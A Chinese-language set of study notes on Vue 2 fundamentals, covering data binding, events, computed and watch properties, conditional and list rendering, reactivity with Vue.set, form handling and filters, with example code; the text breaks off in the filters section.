200字
Vue2基础
2025-10-26
2025-10-26

vue2基础

定义:vue 是 构建用户界面 的 渐进式 框架

初识vue

​ 引入 vue.js 创建 Vue 实例对象

  <!-- 设置容器 -->
  <div id="txt">
    <h1>初识vue {{name}}</h1>
  </div>

  <!-- 引入 vue -->
  <script src="../vue.js"></script>
  <script>
    // 创建 vue 实例对象
    new Vue({
      el: '#txt',  //这个是选定的容器
      data: {      //这个是数据
        name: '上岸'
      }
    })
  </script>

模板语法

​ 插值语法 {{}} 命令语法 v-

 <div id="root">
    <!-- 标签里面用的 {{}} 是插值语法 
         {{name}} name 是一个表达式,可以是方法,可以是变量
    -->
    <!--  -->
    <h1>你好{{name}}</h1>
    <!-- 指令语法 v- 开头
         v-bind:  解析标签属性里面的字符串为表达式
         v-bind:  可以简写为 :
    -->
    <a :href="net.url">链接到{{net.netName}}</a>
    <a v-bind:href="net.url">链接到{{net.netName}}</a>
  </div>
  <script src="../vue.js"></script>
  <script>
    new Vue({
      el: '#root',
      data: {
        name: '卡卡',
        net: {
          url: 'https://www.baidu.com',
          netName: '百度'
        }
      }
    })
  </script>

数据绑定:

单向绑定和双向绑定

单向绑定 v-bind 双向绑定:v-model

v-bind:属性名 = “表达式”

v-model

 <div id="root" class="">
    <!-- 数据绑定 -->
    <!-- 单向绑定 v-bind:   只能data流向页面  可以简写为 : -->
    <!-- 双向绑定 v-model  可以data流向页面,也可以页面流向data  v-model:value可以简写为v-model-->
    <!-- v-model 只能应用到表单类元素上(输入类的元素,含value的元素) -->
    单向绑定:<input type="text" :value="name"><br>
    双向绑定:<input type="text" v-model="name">
  </div>
  <script src="../vue.js"></script>
  <script>
    new Vue({
      el: '#root',
      data: {
        name: ''
      }
    })
  </script>

v-model的三个修饰符:

​ lazy:失去焦点再收集数据

​ number:输入字符串转为有效的数字

​ trim:输入首尾空格过滤

v-model的原理

原理:v-model本质上是一个语法糖。例如应用在输入框上,就是 value属性 和 input事件 的合写。

作用:提供数据的双向绑定
① 数据变,视图跟着变 :value
② 视图变,数据跟着变 @input
注意:$event用于在模板中,获取事件的形参

<template>
  <div id="app">
    <!-- 效果等同,实现双向绑定 -->
    v-model:<input type="text" v-model="msg1" />
    v-bind+$event:<input type="text":value="msg3" @input="msg3 = $event.target.value" />
  </div>
</template>

父组件与子组件实现双向绑定

v-model实现(表单类)

父组件的数据应用到子组件的表单,传给子组件的名是value,子组件传给父组件触发的事件名为input,就能用v-model="msg" 简写 :value="msg" @input="hander"

.sync实现

xxx.sync="参数" 相当于 :xxx="参数" @updata:xxx

el和data的两种写法

	<!-- 
		data与el的2种写法
			1.el有2种写法
						(1).new Vue时候配置el属性。
						(2).先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。
			2.data有2种写法
						(1).对象式
						(2).函数式
			如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。
			3.一个重要的原则:
			由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>你好,{{name}}</h1>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		//el的两种写法
		/* const v = new Vue({
			//el:'#root', //第一种写法
			data:{
				name:'尚硅谷'
			}
		})
		console.log(v)
		v.$mount('#root') //第二种写法 */

		//data的两种写法
		new Vue({
			el:'#root',
			//data的第一种写法:对象式
			/* data:{
				name:'尚硅谷'
			} */

			//data的第二种写法:函数式
			data(){
				console.log('@@@',this) //此处的this是Vue实例对象
				return{
					name:'尚硅谷'
				}
			}
		})
	</script>

MVVM模型

  1. M:模型(Model) :对应 data 中的数据

  2. V:视图(View) :模板

  3. VM:视图模型(ViewModel) : Vue 实例对象

数据代理

前置知识-Object.defineProperty()

<script>
    // Object.defineProperty(obj,属性名,属性修饰符对象) 给选定对象定义或修改属性
    let age = 20
    let person = { name: 'kaka' }
    Object.defineProperty(person, 'age', {
      // 低级配置
      // value: 20, //设定属性值
      // writable: true,//控制该属性是否可以被修改,默认为false
      // enumerable: true,//控制该属性是否可以被枚举,默认为false
      // configurable: true//控制该属性是否可以被删除,,默认为false

      // 高级配置  => 写了高级就不能写低级 否则会报错
      // 当访问该属性时,get函数(getter)会被调用,返回值为value
      get: function () {
        console.log('age被访问')
        return age
      },
      // 当修改该属性时,set函数(setter)会被调用,会收到修改的具体值
      set: function (value) {
        console.log('age被修改', value);
        age = value //这样也能修改该对象age的值 => 前提是age是可变,并且getter返回值也是age变量
      }
    })
    console.log(person)
  </script>

何为数据代理

定义:通过一个对象来代理对另一个对象中属性的操作(读/写)。

let obj1 = { x: 100 }; // 目标对象  
let obj2 = {}; // 代理对象  
  
// 使用Object.defineProperty()方法,在obj2上定义一个新的属性'x',其getter和setter方法操作obj1的'x'属性  
Object.defineProperty(obj2, 'x', {  
  get() {  
    console.log('读取obj1的x属性');  
    return obj1.x;  
  },  
  set(value) {  
    console.log('设置obj1的x属性为', value);  
    obj1.x = value;  
  }  
});  
  
// 通过操作obj2的'x'属性,间接地读取和修改obj1的'x'属性  
console.log(obj2.x); // 输出:读取obj1的x属性 100  
obj2.x = 200; // 输出:设置obj1的x属性为 200  
console.log(obj1.x); // 输出:200

vue中数据代理

​ 1.Vue中的数据代理:

​ 通过vm对象来代理data对象中属性的操作(读/写)

​ 2.Vue中数据代理的好处:

​ 更加方便的操作data中的数据

​ 3.基本原理:

​ 通过Object.defineProperty()把data对象中所有属性添加到vm上。

​ 为每一个添加到vm上的属性,都指定一个getter/setter。

​ 在getter/setter内部去操作(读/写)data中对应的属性。

事件处理

事件的基本使用v-on:

​ 1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名;

​ 2.事件的回调需要配置在methods对象中,最终会在vm上;

​ 3.methods中配置的函数,不要用箭头函数!否则this就不是vm了;

​ 4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;

​ 5.@click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参;

<div id="root" class="">
    <!-- v-on:click="alertFn" 是当点击这个按钮时,会触发alertFn这个函数 -->
    <!-- alertFn($event,66)  可以在函数里面传入参数,$event相当于占位,到时候就能用e.target的同时还能获取参数-->
    <button v-on:click="alertFn($event,66)">按钮</button>
    <!-- v-on:click 可简写为 @click  后期常用 -->
    <button @click="alertFn($event,66)">按钮</button>
  </div>
  <script src="../vue.js"></script>
  <script>
    new Vue({
      el: '#root',
      methods: {
        alertFn(e, num) {
          alert('点击了按钮')
          console.log(e, num)
          console.log(e.target)//获取到触发该函数的Dom
        }
      }
    })
  </script>

事件修饰符

​ @事件名.prevent: 阻止默认行为(常用);

​ @事件名.stop: 阻止事件冒泡(常用);

​ @事件名.once: 事件只触发一次(常用);

​ @事件名.capture: 使用事件的捕获模式;

​ @事件名.self: 只有event.target是当前操作的元素时才触发事件;

​ @事件名.passive: 事件的默认行为立即执行,无需等待事件回调执行完毕;

<div id="root" class="">
     <!-- .prevent  阻止默认行为(常用) -->
    <a href="http://baidu.com" @click.prevent="conlog">按钮</a>
  </div>
  <script src="../vue.js"></script>
  <script>
    new Vue({
      el: '#root',
      methods: {
        conlog() {
          console.log('点击了')
        }
      }
    })

​ 修饰符可以连着写 例:

<!-- .stop.prevent  先阻止事件冒泡再阻止默认行为 -->
    <div class="fa" @click="clickFa">父亲
      <a href="http://www.baidu.com" class="son" @click.stop.prevent="clickSon">儿子--百度链接</a>
    </div>

键盘事件

1.Vue中常用的按键别名:

​ 回车 => enter

​ 删除 => delete (捕获“删除”和“退格”键)

​ 退出 => esc

​ 空格 => space

​ 换行 => tab (特殊,必须配合keydown去使用)

​ 上 => up

​ 下 => down

​ 左 => left

​ 右 => right

​ 2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)

​ 3.系统修饰键(用法特殊):ctrl、alt、shift、meta(win键)

​ (1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。

​ (2).配合keydown使用:正常触发事件。

​ (3).组合键:例 ctrl+l 才触发 @keydown.Ctrl.l="触发函数"

​ 4.也可以使用keyCode去指定具体的按键(不推荐)

​ 5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名

  <!-- 1.Vue中常用的按键别名:
				回车 => enter
				删除 => delete (捕获“删除”和“退格”键)
				退出 => esc
				空格 => space
				换行 => tab (特殊,必须配合keydown去使用)
				上 => up
				下 => down
				左 => left
				右 => right

		2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)

		3.系统修饰键(用法特殊):ctrl、alt、shift、meta(win键)
		(1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
                                        例:按下 ctrl + s 后松开 
		(2).配合keydown使用:正常触发事件。

		4.也可以使用keyCode去指定具体的按键(不推荐)

		5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
  -->
  <div id="id" class="">
    <!-- enter  按下 Enter 键才触发 -->
    <!-- <input type="text" @keyup.enter="keyUp"> -->

    <!-- Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名 -->
    <input type="text" @keyup.huiche="keyUp">
  </div>
  <script src="../vue.js"></script>
  <script>
    // 自定义键名 = 键码
    Vue.config.keyCodes.huiche = 13
    new Vue({
      el: '#id',

      methods: {
        keyUp(e) {
          console.log('按了Enter了')
          console.log(e.target)//<= 是触发当前事件的元素
        }
      }
    })
  </script>

计算属性computed

计算属性

自己总结

​ 定义:通过计算得来的属性(根据所依赖的数据=>(data中的数据)进行响应式计算。)

​ 原理:底层借助了Objcet.defineproperty方法提供的getter和setter。

​ 优势:他本质上是一个函数,但是在html标签的中,若有多个相同的计算属性,他会只计算一次(第一次发现该计算属性时),然后把值缓存起来,再次遇到该计算属性时,相当于直接赋值,就不用再次调用函数了。

​ 响应式:当页面第一次加载或是所依赖的数据改变时就会调用 get(简写的就是get)。

​ set的使用:当想改变计算属性,响应式地改变data中的数据时使用。

老师总结

计算属性:

​ 1.定义:要用的属性不存在,要通过已有属性计算得来。

​ 2.原理:底层借助了Objcet.defineproperty方法提供的getter和setter。

​ 3.get函数什么时候执行?

​ (1).初次读取时会执行一次。

​ (2).当依赖的数据发生改变时会被再次调用。

​ 4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。

​ 5.备注:

​ 1.计算属性最终会出现在vm上,直接读取使用即可。

​ 2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。

 <!-- 案例要求:修改 firstName/lastName   立即响应全名 -->
  <div id="id" class="">
    姓:<input type="text" v-model="firstName"><br><br>
    名:<input type="text" v-model="lastName"><br><br>
    全名为 :<span>{{fullName}}</span>
  </div>
  <script src="../../vue.js"></script>
  <script>
    const vm = new Vue({
      el: '#id',
      data: {
        firstName: '王',
        lastName: '老板'
      },
      // 计算属性
      computed: {
        fullName: {
          //get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
          //get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
          get() {
            return this.firstName + '-' + this.lastName
          },
          set(value) {
            console.log(this)//=>this 指向 vm
            // 将更改的是名根据 - 分割成数组
            const arr = value.split('-')
            this.firstName = arr[0]
            this.lastName = arr[1]
          }
        }
      }
    })
  </script>

计算属性简写

 computed: {
        // 计算属性的简写 (当只是页面读取时才用,不能直接修改计算属性)
        fullName() {
          return this.firstName + '-' + this.lastName
        }
      }

监视属性watch

监视属性watch

​ 1、当被监视的属性的值发生变化时,回调函数会自动调用
​ 2、监视的属性必须存在,才能监视
​ 3、监视的两种写法
​ (1)、new Vue()里面配置watch
​ (2)、通过vue实例对象vm调用$watch

  <div id="id" class="">
    <h1>今天天气很{{weather}}</h1>
    <button @click="changeWeather">切换天气</button>
  </div>
  <script src="../../vue.js"></script>
  <script>
    const vm = new Vue({
      el: '#id',
      data: {
        isHot: true
      },
      methods: {
        changeWeather() {
          this.isHot = !this.isHot
        }
      },
      computed: {
        weather() {
          return this.isHot ? '炎热' : '凉爽'
        }
      },
      //监视属性 写法一:new Vue时
      /*  watch: {
         isHot: {
           immediate: true,// 默认值为false,为true时,打开时会立即执行下面的函数
           // isHot 的值改变时 就会调用下面的函数,传入的参数第一个是改变的值,第二个是原来的值
           handler(newValue, oldValue) {
             console.log('isHot改变了', newValue, oldValue)
           }
         }
       } */
    })
    // 写法二:后面想监视属性时调用$watch
    vm.$watch('isHot', {
      immediate: true,// 默认值为false,为true时,打开时会立即执行handler函数
      // isHot 的值改变时 就会调用handler函数,传入的参数第一个是改变的值,第二个是原来的值
      handler(newValue, oldValue) {
        console.log('isHot改变了', newValue, oldValue)
      }
    })
  </script>

深度监视

​ 深度监视:

​ 1、Vue 中 watch 默认只能监视第一层,相当于监视的是当前数据的地址。

​ 2、在 watch 中 配置 deep:true,即可开启深度监视。即便是监视的对象里面的属性改变也能监视到

​ 备注:

​ 1、Vue自身可以监测对象内部值的改变,但 Vue 提供的 watch 默认不可以!

​ 2、使用 watch 时根据数据的具体结构,决定是否采用深度监视。

 <div id="id">
    <h1>点击按钮数字增加=>{{obj.num}}</h1>
    <button @click="obj.num++">按钮</button>
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        obj: {
          num: 1,
        }
      },
      watch: {
        obj: {
          deep: true,//默认为false,开启深度监视
          handler() {
            console.log('obj改变了')
          }
        }
      }
    })
  </script>

监视属性简写

​ 当监视的属性结构只有一层时才可用

// 写法一:new Vue() 里面配置
      watch: {
        num(newValue, oldValue) {
          console.log('num改变了', newValue, oldValue)
        }
      }
// 写法二:vm.$watch配置
    vm.$watch('num', function (newValue, oldValue) {
      console.log('num改变了', newValue, oldValue)
    })

计算属性和监视属性的区别

自己总结

​ 1、computed能完成的,watch都能完成。

​ 2、computed不能处理异步任务,watch可以

备注 => this指向:

​ 1、vue 自身管理的函数用普通函数书写。

​ 2、不是vue自身管理的函数(定时器、ajax、Promise)用箭头函数书写。

老师总结

​ computed和watch之间的区别:

​ 1.computed能完成的功能,watch都可以完成。

​ 2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。

​ 两个重要的小原则:

​ 1.所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。

​ 2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,

​ 这样this的指向才是vm 或 组件实例对象。

绑定样式

​ 用数据绑定: 类名 : v-bind:class="表达式" 简写 :class="表达式"

​ 样式 :style="表达式" => 不常用

​ 表达式里面的数据要含有 类名或样式

<style>
    .basic {
      width: 400px;
      height: 100px;
      border: 1px solid black;
    }

    .happy {
      border: 4px solid red;
      ;
      background-color: rgba(255, 255, 0, 0.644);
      background: linear-gradient(30deg, yellow, pink, orange, yellow);
    }

    .sad {
      border: 4px dashed rgb(2, 197, 2);
      background-color: gray;
    }

    .normal {
      background-color: skyblue;
    }

    .atguigu1 {
      background-color: yellowgreen;
    }

    .atguigu2 {
      font-size: 30px;
      text-shadow: 2px 2px 10px red;
    }

    .atguigu3 {
      border-radius: 20px;
    }
  </style>
<body>
  <div id="root">
    <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
    <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br><br>

    <!-- 绑定class样式--数组写法,适用于绑定的样式个数不确定、类名不确定 -->
    <div class="basic" :class="classArr">{{name}}</div> <br><br>

    <!-- 绑定class样式--对象写法,适用于绑定的样式类名确定、是否要使用不确定 -->
    <div class="basic" :class="classObj">{{name}}</div> <br><br>

     <!-- 前一个是类名:后一个是布尔值,其结果是布尔值,可以是一个判断条件-->
<!-- <div class="basic" :class="{ 'atguigu1': true, 'atguigu2': false}">{{name}}</div>-->

    <hr>
    <!-- style--对象写法  不常用 -->
    <div class="basic" :style="styleObj">{{name}}</div> <br><br>
    <!-- style--数组写法(里面的每一项都是一个对象)  不常用 -->
    <div class="basic" :style="styleArr">{{name}}</div> <br><br>
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#root',
      data: {
        name: 'vue学习',
        mood: 'normal',
        classArr: ['atguigu1', 'atguigu2', 'atguigu3'],
        classObj: {
          atguigu1: true,
          atguigu2: false
        },
        styleObj: {
          // 样式属性的名字  写法和js一样
          backgroundColor: '#f4a7a7',
          fontSize: '40px'
        },
        styleArr: [
          {
            // 样式属性的名字  写法和js一样
            backgroundColor: '#f45675',
          },
          {
            fontSize: '30px',
            fontWeight: 700
          }
        ]
      },
      methods: {
        changeMood() {
          const arr = ['happy', 'sad', 'normal']
          const index = Math.floor(Math.random() * 3)
          this.mood = arr[index]
        }
      }
    })
  </script>
</body>

条件渲染 v-show | v-if

v-show

v-show => 相当于直接设置样式display,元素节点还在

​ 写法:v-show="表达式"

v-if

v-if => 直接将节点删除或添加

​ 1、v-if="表达式"

​ 2、v-else-if="表达式"

​ 3、v-else

​ 注意:v-else-if 和 v-else 必须和 v-if 处于连续结构,不能被打断

​ 打断后的 v-else-if 和 v-else 就不会执行了

<div id="id" class="">
    <h1>点击按钮 n+1 => {{n}}</h1>
    <button @click="n++">按钮n+1</button>
    <div v-show="n===1">n=1显示</div>
    <div v-if="n===1">div => n=1显示</div>
    <p v-else-if="n===2">p => n=2显示</p>
    <span v-else-if="n===3">span => n=3显示</span>
    <div v-else>n=其他 显示</div>

    <!-- template 结构内的代码是一个整体,方便整体调渲染,但是在页面不存在template节点 -->
    <template v-if="n===0">
      <div>我是个伪整体</div>
      <div>但是我在页面上不存在template结构</div>
    </template>
    <hr>
    <div v-if="n===1">n=1显示</div>
    <div v-else-if="n===2">n=2显示</div>
    <!-- 此处截断  下面的判断条件不执行 控制台报错 -->
    <div>@</div>
    <div v-else-if="n===3">n=3显示</div>
    <div v-else>n=其他 显示</div>
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        n: 0
      }
    })
  </script>

列表渲染 v-for

基本列表

​ 渲染列表:v-for

​ 1.v-for="(item,index) in 需要遍历的对象" key="index"=>当作唯一标识

​ 2.可以遍历:数组(使用频率高)、对象(使用频率高)、字符串(使用较少)、指定次数(使用较少)

<div id="id" class="">
    <ul>
      <h1>遍历数组</h1>
      <li v-for="(item,index) in persons" :key="item.id">{{item.name}}--{{item.age}}</li>
    </ul>
    <ul>
      <h1>遍历对象</h1>
      <li v-for="val,key in car" :key="key">key:{{key}}--val:{{val}} </li>
    </ul>
    <ul>
      <h1>遍历字符串</h1>
      <li v-for="val,i in str" :key="i">i:{{i}}--val:{{val}} </li>
    </ul>
    <ul>
      <h1>指定次数</h1>
      <li v-for="(number,index) in 5" :key="index">{{number}}-{{index}}</li>
    </ul>
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        persons: [
          { id: '001', name: '张三', age: 18 },
          { id: '002', name: '李四', age: 19 },
          { id: '003', name: '王五', age: 20 }
        ],
        car: {
          name: '奥迪A8',
          price: '70万',
          color: '黑色'
        },
        str: 'hello'
      }
    })
  </script>

key的原理

面试题:react、vue中的key有什么作用?(key的内部原理)=>自我总结:提高节点复用率从而提升性能

​ 1. 虚拟DOM中key的作用:

​ key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,

​ 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:

​ 2.对比规则:

​ (1).旧虚拟DOM中找到了与新虚拟DOM相同的key:

​ ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!

​ ②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。

​ (2).旧虚拟DOM中未找到与新虚拟DOM相同的key

​ 创建新的真实DOM,随后渲染到到页面。

​ 3. 用index作为key可能会引发的问题:

​ 1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:

​ 会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

​ 2. 如果结构中还包含输入类的DOM:

​ 会产生错误DOM更新 ==> 界面有问题。

​ 4. 开发中如何选择key?:

​ 1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。

​ 2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,

​ 使用index作为key是没有问题的。

列表过滤

​ 可用 computed 或是 watch 来实现 ,用到filter的数组筛选方法

 <div id="id" class="">
    查询 :<input type="text" v-model="person">
    <ul>
      <li v-for="item in filterPersons" :key="item.id">{{item.name}}</li>
    </ul>
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        person: '',
        persons: [
          { id: '001', name: '马冬梅', sex: '女' },
          { id: '002', name: '周冬雨', sex: '女' },
          { id: '003', name: '周杰伦', sex: '男' },
          { id: '004', name: '扁嘴伦', sex: '男' }
        ]
      },
      computed: {
        filterPersons() {
          return this.persons.filter(item => {
              //判断原对象数组中的名字是否包含查询的字
            return item.name.includes(this.person)
          })
        }
      }
    })
  </script>

列表排序

​ 使用到了 .sort()方法

  <div id="id" class="">
    查询 :<input type="text" v-model="person">
    <button @click="sortType=1">年龄升序</button>
    <button @click="sortType=2">年龄降序</button>
    <button @click="sortType=0">原序</button>
    <ul>
      <li v-for="item in filterPersons" :key="item.id">
        {{item.name}}--{{item.age}}</li>
    </ul>
  </div>
  <script src="../../vue.js"></script>
  <script>
    const vm = new Vue({
      el: '#id',
      data: {
        person: '',
        sortType: 0,// 排序方式 0原序 1年龄升序 2年龄降序
        persons: [
          { id: '001', name: '马冬梅', sex: '女', age: 23 },
          { id: '002', name: '周冬雨', sex: '女', age: 56 },
          { id: '003', name: '周杰伦', sex: '男', age: 34 },
          { id: '004', name: '扁嘴伦', sex: '男', age: 31 }
        ]
      },
      computed: {
        filterPersons() {
          const arr = this.persons.filter(item => {
            return item.name.includes(this.person)
          })
          // 判断排序类型是否为原序,不是择做其他操作
          if (this.sortType) {
            arr.sort((a, b) => {
              // 年龄是升序吗  是=>就做升序操作      不是=>就做降序操作
              return this.sortType === 1 ? a.age - b.age : b.age - a.age
            })
          }
          return arr
        }
      }
    })
  </script>

vue.set()或vm.$set()的使用

​ vue.set()或vm.$set()的使用:给vue实例对象添加响应式属性,但只能在data对象里面已经定义过的属性对象上添加。(不能在vue本身或是根数据对象(data)添加)

   <div id="id">
    <h1>属性添加</h1>
    <button @click="addSk">添加奥义</button>
    <button @click="editAddress">修改第一项城市</button>
    <!-- <button @click="addFri">添加战友</button> -->
    <hr>
    <h1>属性展示</h1>
    <p>姓名:{{name}}</p>
    <p>年龄:{{age}}</p>
    <p v-if="skill.big">大招技能:{{skill.big}}</p>
    <p v-if="skill.common">普通攻击:{{skill.common}}</p>

    <hr>
    <h3>添加的属性</h3>
    <p v-if="skill.aoyi">奥义技能:{{skill.aoyi}}</p>
    <div v-if="address">城市<br>
      <ul>
        <li v-for="(a,i) in address" :key="i">{{a}}</li>
      </ul>
    </div>
    <!-- <p v-if="friend">奥义技能:{{friend}}</p> -->

  </div>
  <script src="../../vue.js"></script>
  <script>
    const vm = new Vue({
      el: '#id',
      data: {
        name: '卡卡西',
        age: 35,
        skill: {
          common: '平A',
          big: '雷切'
        },
        address: ['北京', '上海', '成都'],
      },
      methods: {
        // 给data里面的对象添加
        addSk() {
          // Vue.set(this.skill, 'aoyi', '天威')
          vm.$set(this.skill, 'aoyi', '天照')
        },

        // 给data里面的数组修改
        editAddress() {
            //修改第一项
          Vue.set(this.address, 0, '深圳')
        }
        /*  editAddress() {
              this.address[0]= '深圳'//单独这样修改在vue2中是不能被监测到的,无法触发视图更新
           } */
        /*  addFri() {
           // 不能在vue本身或是根数据对象(data)添加
           // Vue.set(this, 'friend', '鸣人')  //此处报错
           // vm.$set(this, 'friend', '鸣人')  //此处报错
         } */
      }
    })

  </script>

vue中的数据监测

自己总结

vue中的数据监测;

​ 1、只有在new Vue时,里面配置的属性才能做响应式处理,后追加的不行

​ 2、后追加的,需要用Vue.set(数组/对象,索引/键名,值)或是vm.$set()才能做响应处理

​ 3、Vue.set(数组/对象,索引/键名,值)或是vm.$set() =>

​ 不能直接给vm本身和vm的根数据对象data添加或修改

​ 4、让数组做响应式得用 push()、pop()、shift()、unshift()、splice()、sort()、reverse()

​ 或是 Vue.set() 或 vm.$set()

老师总结

Vue监视数据的原理:

​ 1. vue会监视data中所有层次的数据。

​ 2. 如何监测对象中的数据?

​ 通过setter实现监视,且要在new Vue时就传入要监测的数据。

​ (1).对象中后追加的属性,Vue默认不做响应式处理

​ (2).如需给后添加的属性做响应式,请使用如下API:

​ Vue.set(target,propertyName/index,value) 或

​ vm.$set(target,propertyName/index,value)

​ 3. 如何监测数组中的数据?

​ 通过包裹数组更新元素的方法实现,本质就是做了两件事:

​ (1).调用原生对应的方法对数组进行更新。

​ (2).重新解析模板,进而更新页面。

​ 4.在Vue修改数组中的某个元素一定要用如下方法:

​ 1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

​ 2.Vue.set() 或 vm.$set()

​ 特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!

获取表单数据

自己总结

vue 收集表单数据:=> 利用双向绑定 v-model

​ 1. <input type="text">

<input type="password">

<textarea type="text">

​ v-model获取到的是用户输入的value值,不需要额外配置value

​ 2. <input type="checkbox">

​ 若没有配置value属性,勾选 => v-model获取到的是checked,是布尔值

​ 若有配置value属性:

​ v-model的值是字符串,勾选获取到是checked => 布尔值

​ v-model的值是数组,勾选获取到的是value所组成的数组

​ 3. <input type="radio">,v-model获取到的是value,需要配置value

​ 4.<select v-model="address"> <option>北京</option> </select>

​ v-model获取到的是option value,不需要额外配置value

 <div id="id">
    <form>
      账号:<input type="text" v-model="uname"><br><br>
      密码:<input type="password" v-model="pwd"><br><br>
      兴趣:
      <input type="checkbox" v-model="hobby" value="跑步">跑步
      <input type="checkbox" v-model="hobby" value="听歌">听歌
      <input type="checkbox" v-model="hobby" value="打游戏">打游戏<br><br>
      性别:
      <input type="radio" name="sex" v-model="sex" value="man">男
      <input type="radio" name="sex" v-model="sex" value="women">女<br><br>
      地区:
      <select v-model="address">
        <option>--地区--</option>
        <option>四川</option>
        <option>上海</option>
        <option>北京</option>
      </select><br><br>
      备注:<textarea v-model="text"></textarea><br><br>
      <input type="checkbox" v-model="agree">同意协议<a href="http://www.baidu.com">《百度协议》</a>
    </form>
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        uname: '',
        pwd: '',
        hobby: [],
        sex: '',
        address: '四川',
        text: '',
        agree: ''
      }
    })
  </script>

老师总结

收集表单数据:

​ 若:,则v-model收集的是value值,用户输入的就是value值。

​ 若:,则v-model收集的是value值,且要给标签配置value值。

​ 若:

​ 1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)

​ 2.配置input的value属性:

​ (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)

​ (2)v-model的初始值是数组,那么收集的的就是value组成的数组

v-model的三个修饰符:

​ lazy:失去焦点再收集数据

​ number:输入字符串转为有效的数字

​ trim:输入首尾空格过滤

过滤器

自己总结

过滤器:对特定数据做简单处理后显示,过于复杂的处理用计算属性或是方法来做更好,可有可无

​ 配置:

​ 1、全局过滤器(new Vue的前面使用):Vue.filter('过滤器名',function(val){})

​ val => 是需要过滤做处理的数据,函数的返回值就是页面显示的数据

​ 2、局部过滤器(new Vue的里面配置):filters:{过滤器名(val){}}

​ val => 是需要过滤做处理的数据,函数的返回值就是页面显示的数据

​ 使用:

​ {{需要做操作的数据 | 过滤器名}} 或是 v-bind:属性=" 需要做操作的数据 | 过滤器名 "

​ 备注:

​ 过滤器可以多个串联 例:{{数据data | 过滤器1 | 过滤器2}}

​ 先是 data到过滤器1中 处理返回后的数据 再到 过滤器2中做处理

 <div id="id" class="">
    <h2>#id模板</h2>
    <h1>时间格式化</h1>
    <p>当前时间戳:{{nowTime}}</p>
    <p>计算属性格式化:{{c_formatTime}}</p>
    <p>方法格式化:{{Fn_formatTime()}}</p>
    <!-- 过滤器格式化(无参) -->
    <p>过滤器格式化:{{nowTime | formatTime1}}</p>
    <!-- 过滤器格式化(传参) -->
    <p>过滤器格式化:{{nowTime | formatTime2('YYYY_MM_DD')}}</p>
    <hr>
    <h1>字符截取</h1>
    <p>{{str}} 截取后 {{str | mySlice}}</p>
  </div>
  <hr>
  <div id="id2" class="">
    <h2>#id2模板</h2>
    <p>{{str}} 截取后 {{str | mySlice}}</p>
  </div>
  <script src="../../vue.js"></script>
  <script src="../../dayjs.min.js"></script>
  <script>
    // 全局过滤器
    Vue.filter('mySlice', function (value) {
      // 截取0-4的字符
      return value.slice(0, 4)
    })
    new Vue({
      el: '#id',
      data: {
        nowTime: +Date.now(),
        str: 'qwer1234'
      },
      computed: {
        c_formatTime() {
          return dayjs(this.nowTime).format('YYYY年MM月DD日 HH:mm:ss')
        }
      },
      methods: {
        Fn_formatTime() {
          return dayjs(this.nowTime).format('YYYY年MM月DD日 HH:mm:ss')
        }
      },
      // 局部过滤器
      filters: {
        formatTime1(val) {
          // 这里的 val 值是 管道符| 前面的 nowTime
          return dayjs(val).format('YYYY年MM月DD日 HH:mm:ss')
        },
        // str = 'YYYY年MM月DD日'  这儿是 若str没传,就用这种方式格式化
        formatTime2(val, str = 'YYYY年MM月DD日') {
          // 这里的 val 值是 管道符| 前面的 nowTime
          return dayjs(val).format(str)
        }
      }
    })

    new Vue({
      el: '#id2',
      data: {
        str: '1234qwer'
      }
    })
  </script>

老师总结

​ 过滤器:

​ 定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

​ 语法:

